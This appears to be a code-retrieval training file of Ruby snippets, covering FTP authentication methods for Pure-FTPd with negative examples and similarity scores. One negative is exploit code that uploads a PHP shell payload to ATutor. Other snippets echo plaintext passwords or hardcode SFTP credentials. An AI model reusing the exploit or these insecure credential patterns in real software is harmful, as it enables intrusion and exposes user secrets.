"0.58230156",
"0.58181775",
"0.5796144",
"0.5780854",
"0.5780751",
"0.5759005",
"0.5758794",
"0.5748007",
"0.57177544",
"0.57092226",
"0.56929964",
"0.5688039",
"0.5685721",
"0.5680571",
"0.56754273",
"0.56734705",
"0.56730014",
"0.5672952",
"0.56611454",
"0.5655494",
"0.5654202",
"0.56399643",
"0.56396365",
"0.5638238",
"0.5637493",
"0.5629003",
"0.5626191",
"0.56152916",
"0.5596189",
"0.5594001",
"0.55936897",
"0.5592349",
"0.5592349",
"0.5586719",
"0.55760634",
"0.5571689",
"0.55697256",
"0.55674416",
"0.55650073",
"0.5560993",
"0.5553944",
"0.55538666",
"0.5551976",
"0.5545144",
"0.55246294",
"0.5522785",
"0.5522785",
"0.55171865",
"0.55159384"
] |
0.71248126
|
0
|
This method is used in mlayout mtransfer bundle
|
def ftp_access
if User.authenticate(:userid => params[:userid], :password => params[:passwd])
user = current_user
login = params[:userid]
pass = params[:passwd]
@result =
"OK\n"+
# "graphicartshub.com\n"+
"localhost:3000\n"+
"#{login}\n"+
"#{pass}\n"+
"#{login}"
else
@result = "Failed\n"
end
return @result, :layout => false
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def layout=(_arg0); end",
"def _implied_layout_name; end",
"def layouts=(_arg0); end",
"def layouts=(_arg0); end",
"def _layout(*_arg0); end",
"def render_layout(output, layout, info); end",
"def set_layout\n @layoutme = 1\n end",
"def private; end",
"def layout_children\n \n end",
"def place_in_layout?; end",
"def place_in_layout?; end",
"def m3\n\t\t\t\t\tsuper * 2\t\t\t\t\t\t\t\t\t\t\t\t# first override to #m3\n\t\t\t\tend",
"def m3\n\t\t\t\t\tsuper * 2\t\t\t\t\t\t\t\t\t\t\t\t# first override to #m3\n\t\t\t\tend",
"def m3\n\t\t\t\t\tsuper * 2\t\t\t\t\t\t\t\t\t\t\t\t# first override to #m3\n\t\t\t\tend",
"def _conditional_layout?; end",
"def kopal_layout_after_page_meta\n\n end",
"def kopal_layout_after_page_front\n\n end",
"def getLayoutData\n @layoutData\n end",
"def kopal_layout_after_body_start\n\n end",
"def layout_fields\n \n end",
"def process_complex_block_opener(tk); end",
"def view_flow; end",
"def no_layout?; end",
"def layout; end",
"def kopal_layout_after_page_header\n\n end",
"def custom_layout\n case action_name\n when \"industry_xls\"\n \"no_layout\"\n when \"supplier_profiles\"\n \"no_layout\"\n when \"total_xls\"\n \t \"no_layout\"\n when \"industry_level\"\n \"no_layout\"\n when \"supplier_level\"\n \"no_layout\"\n when \"company_xls\"\n \t\"no_layout\"\n when \"customer_record\"\n \t\"no_layout\"\n when \"most_company_xls\"\n \t\"no_layout\"\n when \"conversion_industry\"\n \t\"no_layout\"\n when \"conversion_company\"\n \t\"no_layout\"\n when \"company_xls\"\n \t\"no_layout\"\t\n when \"suppliers_profiles\"\n \t\"no_layout\"\n when \"registered_suppliers\"\n \t\"no_layout\"\n when \"unregistered_suppliers\"\n \t\"no_layout\"\n when \"all_customers\"\n \t\"no_layout\"\n when \"jagent\"\n \t\"no_layout\"\n when \"sagent\"\n \t\"no_layout\"\n when \"poll\"\n \"no_layout\"\t\n when \"industry_conversion\"\n \"no_layout\"\t\n when \"company_conversion\"\t\t\n \"no_layout\"\n when \"reviews_processed\"\n \"no_layout\"\n when \"agent_output\"\n \"no_layout\"\n when \"agent_performance\"\n \"no_layout\"\n \t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n else\n \"admin\"\n end\n end",
"def create_layout\n self.bitmap = Cache.UI(LayoutImage)\n self.x = Graphics.center_width(self.bitmap.width)\n self.y = Graphics.height - self.bitmap.height - 16\n end",
"def kopal_layout_after_page_sidebar\n\n end",
"def layout(name)\n $stderr.puts \"Overwriting Layout: #{self.class.def_layout.inspect} with #{name}\"\n @_layout = name\n end",
"def mtus\n build_system_layout\n @mtus\n end",
"def place_in_layouts(content, payload, info); end",
"def kopal_layout_before_page_meta\n\n end",
"def unsichtbar_machen()\n end",
"def register_layout_setup\n @tab = :register\n end",
"def do_layout(payload, layouts)\n end",
"def validate_layout(layout); end",
"def invalid_layout?(layout); end",
"def invalid_layout?(layout); end",
"def layouts; end",
"def layouts; end",
"def set_layout\n\t \treturn \"landing\" if action_name == \"unregistered\"\n\t \tsuper\n\t end",
"def action_has_layout?; end",
"def kopal_layout_before_page_front\n\n end",
"def sichtbar_machen()\n end",
"def kopal_layout_after_page_footer\n \n end",
"def view_flow=(_arg0); end",
"def relocate!\n raise 'Abstract method'\n end",
"def attach; end",
"def current_layout\n controller.send :_layout # private method\n end",
"def create_layout_info\n self.piece_layout ||= PieceLayout.create(layout: ImageLayout.create)\n self.part_layout ||= PartLayout.create(layout: ImageLayout.create)\n save\n end",
"def transferred_properties; end",
"def transferred_properties; end",
"def materialized_view_definition(matview_name, name = nil) raise \"Internal Error: Connection adapter didn't override abstract function\"; end",
"def sitemaps; end",
"def sichtbar_machen()\n # TODO\n end",
"def copy_to_new()\n \n original_layout = self.page_layout \n #copy new whole tree\n new_layout = original_layout.copy_to_new\n #create theme record\n new_theme = self.dup\n new_theme.page_layout_root_id = new_layout.id\n new_theme.save!\n \n #copy param values\n #INSERT INTO tbl_temp2 (fld_id) SELECT tbl_temp1.fld_order_id FROM tbl_temp1 WHERE tbl_temp1.fld_order_id > 100;\n table_name = ParamValue.table_name\n \n table_column_names = ParamValue.column_names\n table_column_names.delete('id')\n \n table_column_values = table_column_names.dup\n table_column_values[table_column_values.index('page_layout_root_id')] = new_layout.id\n table_column_values[table_column_values.index('theme_id')] = new_theme.id\n \n #copy param value from origin to new.\n sql = %Q!INSERT INTO #{table_name}(#{table_column_names.join(',')}) SELECT #{table_column_values.join(',')} FROM #{table_name} WHERE (theme_id =#{self.id})! \n self.class.connection.execute(sql)\n #update layout_id to new_layout.id \n for node in new_layout.self_and_descendants\n original_node = original_layout.self_and_descendants.select{|item| (item.section_id == node.section_id) and (item.section_instance==node.section_instance) }.first\n #correct param_values\n ParamValue.update_all([\"page_layout_id=?\", node.id],[\"theme_id=? and page_layout_id=?\",new_theme.id, original_node.id])\n #correct template.assigned_resource_ids\n if new_theme.assigned_resource_ids[original_node.id].present? \n new_theme.assigned_resource_ids[node.id] = new_theme.assigned_resource_ids.delete(original_node.id) \n end\n end\n if new_theme.assigned_resource_ids.present?\n new_theme.save\n end\n return new_theme\n end",
"def kopal_layout_before_page_footer\n\n end",
"def originalsourceform; end",
"def extra; end",
"def _write_layout_method\n case @_layout\n when String\n self.class_eval %{def _layout() #{@_layout.inspect} end}\n when Symbol\n self.class_eval %{def _layout() #{@_layout} end}\n when false\n self.class_eval %{def _layout() end}\n else\n self.class_eval %{\n def _layout\n if view_paths.find_by_parts?(\"#{_implied_layout_name}\", {:formats => formats}, \"layouts\")\n \"#{_implied_layout_name}\"\n else\n super\n end\n end\n }\n end\n end",
"def restore; end",
"def post_process; end",
"def transformations; end",
"def build_default_screen\n# self.parent.set_cannot_cancel\n self.parent.set_cannot_undo\n field_configs = Array.new\n qty_pallets_required = @parent.qty_pallets_required.to_s\n output_value = \"scanned pallets: \" + @parent.qty_pallets_scanned.to_s + \" of \" + qty_pallets_required\n field_configs[field_configs.length] = {:type=>\"text_line\",:name=>\"qty_pallets_to_load\",:value=>output_value}\n field_configs[field_configs.length] = {:type=>\"text_box\",:name=>\"pallet_number\",:is_required=>\"true\"}\n field_configs[field_configs.length] = {:type=>\"text_box\",:name=>\"carton_number\",:is_required=>\"true\"}\n field_configs[field_configs.length] = {:type=>\"text_box\",:name=>\"qc_barcode\",:scan_only=>\"false\"}\n\n screen_attributes = {:auto_submit=>\"false\",:content_header_caption=>\"scan pallets\",:cache_screen=>true}\n buttons = {\"B3Label\"=>\"Clear\" ,\"B2Label\"=>\"Cancel\",\"B1Submit\"=>\"scan_pallet_submit\",\"B1Label\"=>\"submit\",\"B1Enable\"=>\"true\",\"B2Enable\"=>\"false\",\"B3Enable\"=>\"false\" }\n plugins = nil\n result_screen_def = PdtScreenDefinition.gen_screen_xml(field_configs,buttons,screen_attributes,plugins)\n\n return result_screen_def\n end",
"def admin_layout \n @admin_layout\n end",
"def set_bitmap_position\n end",
"def m1\n\t\t\t\t\tsuper * 2 \t\t\t\t\t\t\t\t\t\t\t# second override to #m1 \n\t\t\t\tend",
"def transfer; end",
"def transfer; end",
"def layout(model)\n #Rfm.layout(model.storage_name, options.symbolize_keys) #query.repository.adapter.options.symbolize_keys)\n model.layout\n end",
"def fill_customization_director\n end",
"def beginning_to_pack_fragment(_fragment)\n end",
"def myletter\n \n end",
"def copy_actions\r\n end",
"def _layout_for_option(name); end",
"def layout_full_center\n nil\n end",
"def kopal_layout_before_page_header\n\n end",
"def kopal_layout_before_page_sidebar\n\n end",
"def after_processing_hook; end",
"def versao_layout_lote\n raise Brcobranca::NaoImplementado, 'Sobreescreva este método na classe referente ao banco que você esta criando'\n end",
"def components; end",
"def custom; end",
"def custom; end",
"def manufacture; end",
"def after_view_setup\n end",
"def pack_box\n\t\t# @packages = ActiveShipping::Package.new((WEIGHT * 16), DIMENSIONS, UNITS)\n\t\t@packages = ActiveShipping::Package.new((WEIGHT * 16), DIMENSIONS, UNITS)\n\tend",
"def layer\n end",
"def update_layout_tree\n @theme = TemplateTheme.find(params[:id])\n op = params[:op]\n selected_page_layout_id = params[:layout_id]\n selected_section_id = params[:selected_section_id]\n selected_type = params[:selected_type]\n @selected_page_layout = @theme.page_layout.self_and_descendants.find(selected_page_layout_id)\n if op=='promote'\n @selected_page_layout.promote\n elsif op=='demote'\n @selected_page_layout.demote\n elsif op=='move_left'\n @selected_page_layout.move_left\n elsif op=='move_right' \n @selected_page_layout.move_right\n elsif op=='add_child' \n section = Spree::Section.roots.find(selected_section_id) \n #if selected_type=='Section' \n @theme.add_section(section,@selected_page_layout)\n #else\n # @selected_page_layout.add_layout_tree(selected_id) \n #end\n #@layout.reload \n elsif op=='del_self'\n @selected_page_layout.destroy unless @selected_page_layout.root?\n @selected_page_layout = @selected_page_layout.parent\n #FIXME update param_values in editor \n #@layout.reload\n end\n @theme.page_layout.reload #layout is changed\n render :partial=>\"layout_tree1\" \n end",
"def update_layout_tree\n @theme = TemplateTheme.find(params[:id])\n op = params[:op]\n selected_page_layout_id = params[:layout_id]\n selected_section_id = params[:selected_section_id]\n selected_type = params[:selected_type]\n @selected_page_layout = @theme.page_layout.self_and_descendants.find(selected_page_layout_id)\n if op=='promote'\n @selected_page_layout.promote\n elsif op=='demote'\n @selected_page_layout.demote\n elsif op=='move_left'\n @selected_page_layout.move_left\n elsif op=='move_right' \n @selected_page_layout.move_right\n elsif op=='add_child' \n section = Spree::Section.roots.find(selected_section_id) \n #if selected_type=='Section' \n @theme.add_section(section,@selected_page_layout)\n #else\n # @selected_page_layout.add_layout_tree(selected_id) \n #end\n #@layout.reload \n elsif op=='del_self'\n @selected_page_layout.destroy unless @selected_page_layout.root?\n @selected_page_layout = @selected_page_layout.parent\n #FIXME update param_values in editor \n #@layout.reload\n end\n @theme.page_layout.reload #layout is changed\n render :partial=>\"layout_tree1\" \n end",
"def processor; end",
"def determine_layout\n 'akinu'\n end",
"def inflate\n end",
"def original_order\n end",
"def content=(_); end",
"def theme; end",
"def theme; end",
"def theme; end",
"def postload\n if @current_layout && @current_layout.length > 0\n @content_for_layout = @body\n @body = \"\"\n render_rhtml(@current_layout)\n end\n end",
"def media_sfp\n super\n end",
"def set_layouts\n @layouts = Newsletter::Layout.all\n @layouts_json = Newsletter::Layout.all.as_json.map do |layout_|\n id = layout_[\"attributes\"][\"id\"]\n\n layout_[\"attributes\"].merge({\n image: view_context.asset_path(\"pro/newsletters/layouts/layout_#{id}.png\"),\n image2x: view_context.asset_path(\"pro/newsletters/layouts/layout_#{id}@2x.png\")\n })\n end\n end",
"def material; end"
] |
[
"0.6045859",
"0.5993231",
"0.5767561",
"0.5767561",
"0.57594866",
"0.56796145",
"0.56620485",
"0.5642632",
"0.5607424",
"0.5530591",
"0.5530591",
"0.5405211",
"0.5405211",
"0.5405211",
"0.53949887",
"0.5357703",
"0.533215",
"0.5306358",
"0.5233174",
"0.52320945",
"0.5227634",
"0.5220045",
"0.52133226",
"0.51968724",
"0.51924354",
"0.51801836",
"0.5152932",
"0.51523226",
"0.511889",
"0.5109163",
"0.5093651",
"0.5090005",
"0.50554353",
"0.5046463",
"0.50396967",
"0.50121635",
"0.5009319",
"0.5009319",
"0.50013924",
"0.50013924",
"0.4998582",
"0.4986168",
"0.4960972",
"0.49602035",
"0.49549514",
"0.49510196",
"0.49212107",
"0.49198362",
"0.4917962",
"0.4906782",
"0.49060264",
"0.49060264",
"0.49024767",
"0.4895771",
"0.4893316",
"0.48886627",
"0.48734412",
"0.4871542",
"0.48661363",
"0.48629582",
"0.4835894",
"0.4834564",
"0.48306108",
"0.48257422",
"0.48155752",
"0.48143798",
"0.4799169",
"0.47868967",
"0.47868967",
"0.47842413",
"0.478309",
"0.47744626",
"0.47726527",
"0.47667977",
"0.4765595",
"0.47636265",
"0.4753742",
"0.47486848",
"0.47409955",
"0.47403878",
"0.47370672",
"0.4734666",
"0.4734666",
"0.4733423",
"0.47231656",
"0.47183138",
"0.47116306",
"0.47101662",
"0.47101662",
"0.47053266",
"0.47046515",
"0.4702993",
"0.47026977",
"0.47015223",
"0.46881524",
"0.46881524",
"0.46881524",
"0.46836963",
"0.46835777",
"0.46832085",
"0.46828765"
] |
0.0
|
-1
|
This method is used for pureftp
|
def ftp_auth
if User.authenticate(:userid => params[:login], :password => params[:password])
# if http_authenticate(params[:userid], params[:password])
user = current_user
@output = <<-END
auth_ok:1
uid:#{483}
gid:#{483}
dir:#{user_files_root(user)}
end
END
else
# invalid user, so all we need is for auth_ok to be 0
@output = "auth_ok:0\n" + "end\n"
end
return @output, :layout => false
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def info(msg)\n $tftplog.info('tftp+') { msg }\nend",
"def transport; end",
"def transport; end",
"def transport; end",
"def passthru\n\n end",
"def passthru\n super\n end",
"def passthru\n super\n end",
"def passive; end",
"def send_sms_otp\n super\n OtpJob.perform_later([self.class.name.to_s,self.id.to_s,\"send_sms_otp\"])\n \n end",
"def starttls?; end",
"def email_otp\n end",
"def peer; end",
"def send_pending; end",
"def after_ip_authentication\n end",
"def error(msg)\n $tftplog.error('tftp+') { msg }\nend",
"def sms_otp\n end",
"def proxy_pass; end",
"def tls?; end",
"def rtp_port\n super\n end",
"def transfer; end",
"def transfer; end",
"def starttls_auto?; end",
"def starttls\n raise NotImplementedError\n end",
"def transmission; end",
"def unconfigure_js_tftp_service()\n return\nend",
"def unconfigure_js_tftp_service()\n return\nend",
"def buy_now\n respond_to do |format|\n puts(\"testing .............\")\n otp = rand(10 ** 9...10 ** 10).to_s\n # User.find(current_user.id)[:otp] = otp\n puts(\"*******************************\")\n # puts(User.find(current_user.id).otp)\n UserMailer.with(item: @item).otp_email(current_user.email, otp).deliver_later\n format.html { redirect_to buy_now, notice: 'One Time Password emailed.' }\n break\n # format.json { render :new }\n end\n end",
"def after_ip_authentication(_remote_ip); end",
"def send_p\n pwreset_key_success = false\n until pwreset_key_success\n self.password_reset_key = self.class.make_key\n self.save\n pwreset_key_success = self.errors.on(:password_reset_key).nil? ? true : false\n end\n send_pwd\n end",
"def debug(msg)\n $tftplog.debug('tftp+') { msg }\nend",
"def check_osx_tftpd()\n service = \"tftp\"\n check_osx_service_is_enabled(service)\n return\nend",
"def preflight; end",
"def ptpktp_params\n params[:ptpktp].permit(\n :date,:msg_time,:address,:pch,:plan_cart,:numberptpktp,:hod,:karaul\n )\n end",
"def set_ptpktp\n @ptpktp = Ptpktp.find(params[:id])\n end",
"def capable_plain_auth?; end",
"def send_password_change_notification; end",
"def tunnel_peer\n\tend",
"def tunnel_peer\n\tend",
"def after_proxy_connected\n use_smtp_interpreter!\n end",
"def disable_tls; end",
"def peerip=(_arg0); end",
"def testFileTransfer\n setupTempFile do |iTmpFileName|\n accessSenderPlugin do |ioSenderPlugin|\n lError, lNewData = ioSenderPlugin.prepareFileTransfer(iTmpFileName)\n assert_equal(nil, lError)\n assert_equal(getFileNewData(iTmpFileName), lNewData)\n end\n end\n end",
"def inbound_email; end",
"def inbound_email; end",
"def disable_starttls; end",
"def send_reset_password_instructions; end",
"def setup\n reset\n start_tls\n log_in\n set_mailbox\n @backoff = 1\n end",
"def mail_box; end",
"def securedftp localfile\n begin\n Net::SFTP.start(@conf[:host],'masset2', :password => 'masset2!media') do |sftp|\n sftp_mkdir sftp, dirs\n sftp.stat(remotefile) do |response|\n unless response.ok?\n sftp.upload!(localfile, remotefile)\n end\n end\n end\n local_to_remote_url localfile\n rescue Exception=>ex\n Rails.logger.error \"securedftp #{localfile} - #{ex.message}\"\n nil\n end\n end",
"def pasv(msg)\n \"500 pasv not yet implemented\"\n end",
"def before_processing_hook(msg, connection); end",
"def initialize()\n @type = ''\n @destination = ''\n @tag = ''\n @data = ''\n @timeout = 10000\n end",
"def anonymous_vpn?; end",
"def anonymous_vpn?; end",
"def capable_starttls?; end",
"def mpt_init; end",
"def private; end",
"def register_with_pkyp\n send_to_pkyp(@pub.to_s)\n end",
"def upload(file,conf)\nftp_server = conf[:server]\nuser = conf[:user]\npass = conf[:pass]\nfport = conf[:port]\ncon_timeout = 30\ntransfer_timeout = 600\n\nftp = nil\nbegin\n Timeout.timeout( con_timeout ) do\n ftp = Net::FTP.new( )\n ftp.connect(ftp_server, port=fport)\n ftp.login( user, pass )\n end\n\tputs \"\\n\"+aktTime()+\" uploading file: \"+file\n STDOUT.flush #write out immediately\n Timeout.timeout( transfer_timeout ) do\n\t ftp.chdir(conf[:ftpDir]) if conf[:ftpDir]\n ftp.putbinaryfile( file )\n puts aktTime()+\" upload finished\"\n ftpCleanUp(conf,ftp) if conf[:generations]\n end\n\nrescue\n STDERR.puts \"Error ftp-transfer server: #{ftp_server}\"\n raise\nensure\n ftp.close if ftp\n GC.start\n sleep 3\nend\n\nend",
"def peer_ip; end",
"def esmtp?\n false\n end",
"def create\n @ptpktp = Ptpktp.new(ptpktp_params)\n\n respond_to do |format|\n if @ptpktp.save\n format.html { redirect_to ptpktps_path, notice: 'Запись успешно добавлена.' }\n format.json { render :show, status: :created, location: ptpktps_path }\n else\n format.html { render :new }\n format.json { render json: @ptpktp.errors, status: :unprocessable_entity }\n end\n end\n end",
"def connection_status_crypt_response; end",
"def ftptransfer\r\n\r\n require 'net/ftp'\r\n require 'timeout'\r\n\r\n ftpdest = \"<font color='black'><b>Übertragungsstatus</b><br />\"\r\n\r\n system_id = cookies[:system_id]\r\n @system = System.find(system_id)\r\n\r\n @system.write\r\n\r\n @system.frames.each do |@frame|\r\n if @frame.ipadresse.size>0 then\r\n\r\n veto = 0\r\n logger.info(\">>FTP: \" + @frame.ipadresse + \" \" + Global::FTPUSER + \" \" + Global::FTPPASSWD)\r\n ftp = nil\r\n begin\r\n timeout(Global::CON_TIMEOUT) do\r\n logger.info(\">>FTP: trying to connect\")\r\n ftp = Net::FTP::new(@frame.ipadresse)\r\n ftp.login(Global::FTPUSER, Global::FTPPASSWD)\r\n end\r\n logger.info(\">>FTP connect successfully \" + @frame.ipadresse)\r\n\r\n rescue Net::FTPPermError => msg\r\n ftpdest = ftpdest + \"<font color='red'>Fehler Login: \" + @frame.ipadresse + \"</font><br />\"\r\n logger.info(\">>FTP error connect \")\r\n veto = 1\r\n ftp.close if ftp\r\n GC.start\r\n sleep Global::CLOSE_TIMEOUT\r\n\r\n rescue Timeout::Error => msg\r\n ftpdest = ftpdest + \"<font color='red'>Fehler Timeout: \" + @frame.ipadresse + \"</font><br />\"\r\n logger.info(\">>FTP error connect \")\r\n veto = 1\r\n ftp.close if ftp\r\n GC.start\r\n sleep Global::CLOSE_TIMEOUT\r\n end\r\n\r\n\r\n # Bei Verbindung Daten holen versuchen\r\n unless veto==1 then\r\n\r\n begin\r\n timeout(Global::TRANSFER_TIMEOUT) do\r\n logger.info(\">>FTP: trying to transfer (get)\")\r\n ftp.chdir(Global::FTPDIR)\r\n ftp.putbinaryfile(\"#{RAILS_ROOT}/conf/ibt.conf\", \"ibt.conf\")\r\n\t if File.exists?(\"#{RAILS_ROOT}/conf/#{@system.id}/gpio.conf\")\r\n\t\t ftp.putbinaryfile(\"#{RAILS_ROOT}/conf/#{@system.id}/gpio.conf\", \"gpio.conf\")\r\n\t end\r\n\r\n\t if File.exists?(\"#{RAILS_ROOT}/conf/#{@system.id}/gpio.txt\")\r\n\t\t ftp.putbinaryfile(\"#{RAILS_ROOT}/conf/#{@system.id}/gpio.txt\", \"gpio.txt\")\r\n\t end\r\n end\r\n\r\n logger.info(\">>FTP: done for \" + @frame.ipadresse)\r\n ftpdest = ftpdest + \"<font color='green'><b>Übertragung nach \" + @frame.ipadresse + \" erfolgreich</b></font><br />\"\r\n\r\n rescue Timeout::Error => msg\r\n logger.info(\">>FTP error \" + msg)\r\n ftpdest = ftpdest + \"<font color='red'>Fehler1 Übertragung nach \" + @frame.ipadresse + \"<br />\" + \"</font>\"\r\n\r\n rescue\r\n\r\n ftpdest = ftpdest + \"<font color='red'>Fehler2 Übertragung nach \" + @frame.ipadresse + \"<br />\" + \"</font>\"\r\n\r\n ensure\r\n ftp.close if ftp\r\n GC.start\r\n sleep Global::CLOSE_TIMEOUT\r\n end\r\n\r\n end\r\n\r\n end\r\n end\r\n\r\n flash[:notice]= \"<fieldset>\" + ftpdest + \"</font></fieldset>\"\r\n\r\n respond_to do |format|\r\n format.html { redirect_to :action => \"show\", :id=>system_id }\r\n end\r\n\r\n end",
"def forwarded_tcpip(session, channel, packet); end",
"def work\n \n # First we need to open the session.\n # I create a helper because we will have to\n # (dis)connect several times during this task.\n connect\n\n # Set terminal length to 0 otherwise too long outputs will cause\n # Net::Telnet to timeout while waiting for the prompt.\n @session.privileged { set 'terminal length', 0 }\n\n # Check ip http secure-server\n https = /^ip http secure-server/.match(@session.get('run | i ip http'))\n \n # Get hostname from show version.\n match = /(?<hostname>.+)\\s+uptime.+/.match(@session.get('version'))\n\n # Check if we found the hostname\n # and convert it if needed.\n # `match['hostname'].downcase!` return nil\n # if the hostname is already in lowercase.\n if !https && match && match['hostname'].downcase!\n \n # If we are connected using SSH we enable Telnet\n # in case bad crypto key prevent us from logging.\n enable_telnet if ssh?\n \n # Convert the hostname\n info \"Converting #{ match['hostname'] } => #{ match['hostname'].downcase }\"\n @session.configuration(:enforce_save) { set 'hostname', match['hostname'].downcase }\n \n # If SSH is enabled regenerate crypto key\n # and verify SSH is still working.\n if ssh?\n\n # Delete the existing crypto key\n # then regenerate it.\n regenerate_crypto\n \n # Close the session and reopen it\n # to see if we are still able to\n # connect via SSH.\n info 'Verifying SSH is still working'\n reconnect\n \n # If SSH is still working we can disable Telnet.\n if ssh?\n info 'Hooray SSH is still working !'\n disable_telnet\n else warn 'SSH is not working :('\n end\n \n end\n\n elsif match && !match['hostname'].downcase! then info 'Nothing to do'\n else error 'Unable to find hostname'; end\n \n @session.close\n end",
"def submittable?\n !ftp_password.blank? && !submitted? && !closed?\n end",
"def skip_password_change_notification!; end",
"def change_temp_password\n\tend",
"def tos\n super\n end",
"def udp_timeout\n super\n end",
"def starttls_always?; end",
"def rtsp_over_http_persistence_state\n super\n end",
"def prapor_quest; end",
"def try_to_parse_proxy_protocol; end",
"def warn(msg)\n $tftplog.warn('tftp+') { msg }\nend",
"def telnet_connect(ip,login,pswd)\r\n prompt_type=/[ftpusr:~>]*\\z/n\r\n puts\"ip,=#{ip},login=#{login},password=#{pswd}\"\r\n telnet = Net::Telnet.new('Host' => ip,'Prompt' =>prompt_type ,\"Output_log\" => \"dump_log.txt\" )\r\n\r\n #The prompt should be the real prompt while you entered your system\r\n telnet.cmd(''){|c| print c}\r\n telnet.waitfor(/[Ll]ogin[: ]*\\z/n) {|c| print c}\r\n telnet.cmd(login) {|c| print c}\r\n telnet.waitfor(/Password[: ]*\\z/n) {|c| print c}\r\n telnet.cmd(pswd) {|c| print c}\r\n\r\n # the following sentence can wrok for unity and webAdapt.\r\n telnet.waitfor(/[>]|Enter selection\\:/n) {|c| print c}\r\n\r\n sleep 5\r\n return telnet\r\n end",
"def set_p3p \n headers['P3P'] = 'CP=\"ALL DSP COR CURa ADMa DEVa OUR IND COM NAV\"' \n end",
"def pending_any_confirmation; end",
"def upload_simple\r\n \r\n end",
"def receive_push\r\n check_configuration_options\r\n\tperform_login_on_codeporting\r\n end",
"def after_initialize\n @protocol = :esmtp\n @error = nil\n @tls_support = nil\n\n if (using_proxy?)\n proxy_connection_initiated!\n use_socks5_interpreter!\n else\n use_smtp_interpreter!\n end\n end",
"def inject_remote_delay!\n gets_data(\"\")\n end",
"def connection_status_crypt_request; end",
"def ftp_file_upload(database_output, ftp_file_location)\n if database_output['ftp_host'] == '' or database_output['remote_user'] == '' or database_output['remote_passwd'] == ''\n puts 'Invalid FTP credentials fetched from Database'\n else\n # UPLOADING FILES THROUGH FTP\n file_path = File.new(ftp_file_location)\n Net::FTP.open(database_output['ftp_host'], database_output['remote_user'], database_output['remote_passwd']) do |ftp|\n puts \"\\n#FTP RESPONSE SHOWN ON LOGGED VIA DATABASE CREDENTIALS\"\n if ftp.closed?\n puts \"Invalid FTP Credentials or Try with different FTP credentials\"\n else\n puts \"FTP Login is successfull : #{database_output['remote_user']}\"\n ftp.putbinaryfile(file_path)\n @log_time_stamp = Time.now\n puts \"File upload is successfull in FTP\"\n end\n end\n end\nend",
"def next_message; end",
"def next_message; end",
"def password_recovery_success\n PharmacistMailer.password_recovery_success\n end",
"def public_forgot_password\n end",
"def no_tlsv1; end",
"def read data\n EM.cancel_timer @_cooling_timer if @_cooling_timer\n @_cooling_timer = nil\n if data.start_with? \"PJLINK 1\"\n @_digest = Digest::MD5.hexdigest \"#{data.chop[9..-1]}#{@_password}\"\n end\n super data \n end",
"def transport=(_arg0); end",
"def pre_otp\n return invalid_login_attempt unless params[:email].present?\n\n set_user\n return invalid_login_attempt unless @user.valid_password?(params[:password])\n\n return sign_in_user unless @user.two_factor_auth.present?\n\n otp_code = @user.otp_code\n UserMailer.send_otp_email(params, otp_code).deliver\n rescue => error\n render json: {message: error.message}, status: :unprocessable_entity\n end",
"def packets; end",
"def skip_reconfirmation!; end",
"def create\n params[:message][:ip] = request.remote_ip\n p request.headers[\"Authorization\"]\n if request.headers[\"Authorization\"] == \"Basic 78f91d346838110d9edb6be3996624a9\"\n @message = Message.new(params[:message])\n @to = params[:message][:to]\n @from = params[:message][:from]\n @body = params[:message][:body]\n \n send_text_message @to, @from, @body\n\n #params[:message][:ip] = request.remote_ip\n #p params[:message][:ip]\n\n respond_to do |format|\n if @message.save\n format.html { redirect_to @message, notice: 'Message was successfully created.' }\n format.json { render json: @message, status: :created, location: @message }\n else\n format.html { render action: \"new\" }\n format.json { render json: @message.errors, status: :unprocessable_entity }\n end\n end\n end\n end",
"def upload_shell(cookie, check)\r\n\r\n res = send_request_cgi({\r\n 'method' => 'GET',\r\n 'uri' => normalize_uri(target_uri.path, \"bounce.php?course=\" + @course_id),\r\n 'headers' =>\r\n {\r\n 'Referer' => \"#{peer}#{datastore['TARGETURI']}users/index.php\",\r\n 'cookie' => cookie,\r\n },\r\n 'agent' => 'Mozilla'\r\n })\r\n\r\n ucookie = \"ATutorID=#{$2};\" if res.get_cookies =~ /ATutorID=(.*); ATutorID=(.*);/\r\n\r\n file_name = Rex::Text.rand_text_alpha_lower(8) + \".phP\"\r\n @fn = \"#{file_name}\"\r\n post_data = Rex::MIME::Message.new\r\n post_data.add_part('10485760', nil, nil, 'form-data; name=\"MAX_FILE_SIZE\"')\r\n post_data.add_part(payload.encoded, 'application/octet-stream', nil, \"form-data; name=\\\"uploadedfile\\\"; filename=\\\"#{file_name}\\\"\")\r\n post_data.add_part('Upload', nil, nil, 'form-data; name=\"submit\"')\r\n post_data.add_part('', nil, nil, 'form-data; name=\"pathext\"')\r\n\r\n data = post_data.to_s\r\n\r\n res = send_request_cgi({\r\n 'method' => 'POST', \r\n 'data' => data,\r\n 'agent' => 'Mozilla',\r\n 'ctype' => \"multipart/form-data; boundary=#{post_data.bound}\",\r\n 'cookie' => ucookie,\r\n 'uri' => normalize_uri(target_uri.path, \"mods\", \"_core\", \"file_manager\", \"upload.php\") \r\n })\r\n\r\n if res && res.code == 302 && res.redirection.to_s.include?('index.php?pathext')\r\n print_status(\"Trying to upload #{file_name}\")\r\n return true\r\n else\r\n print_status(\"Error occurred during uploading!\")\r\n return false\r\n end\r\n end",
"def fixtured_pseudodevice\n\t\treturn instance_double( File, \"PF pseudo-device\" )\n\tend",
"def deliver_otp\n return unless persisted?\n sms_otp || email_otp || raise(NotImplementedError, self)\n end",
"def mailer; end",
"def password_reset_request\n end"
] |
[
"0.5563596",
"0.55307704",
"0.55307704",
"0.55307704",
"0.54764324",
"0.54035825",
"0.54035825",
"0.53675056",
"0.5361363",
"0.52927464",
"0.5266216",
"0.52370155",
"0.51949364",
"0.5183847",
"0.5182394",
"0.51768565",
"0.51662713",
"0.515754",
"0.5129298",
"0.508577",
"0.508577",
"0.5071791",
"0.5064712",
"0.5044817",
"0.50427467",
"0.50427467",
"0.5019532",
"0.5013967",
"0.5011359",
"0.5002906",
"0.49861234",
"0.49624443",
"0.49380544",
"0.4928401",
"0.49253237",
"0.49109763",
"0.49021763",
"0.49021763",
"0.4893931",
"0.48694387",
"0.48641467",
"0.48626757",
"0.4847465",
"0.4847465",
"0.48291832",
"0.48179445",
"0.48153785",
"0.4809023",
"0.4808777",
"0.48077643",
"0.4799905",
"0.47920612",
"0.47905993",
"0.47905993",
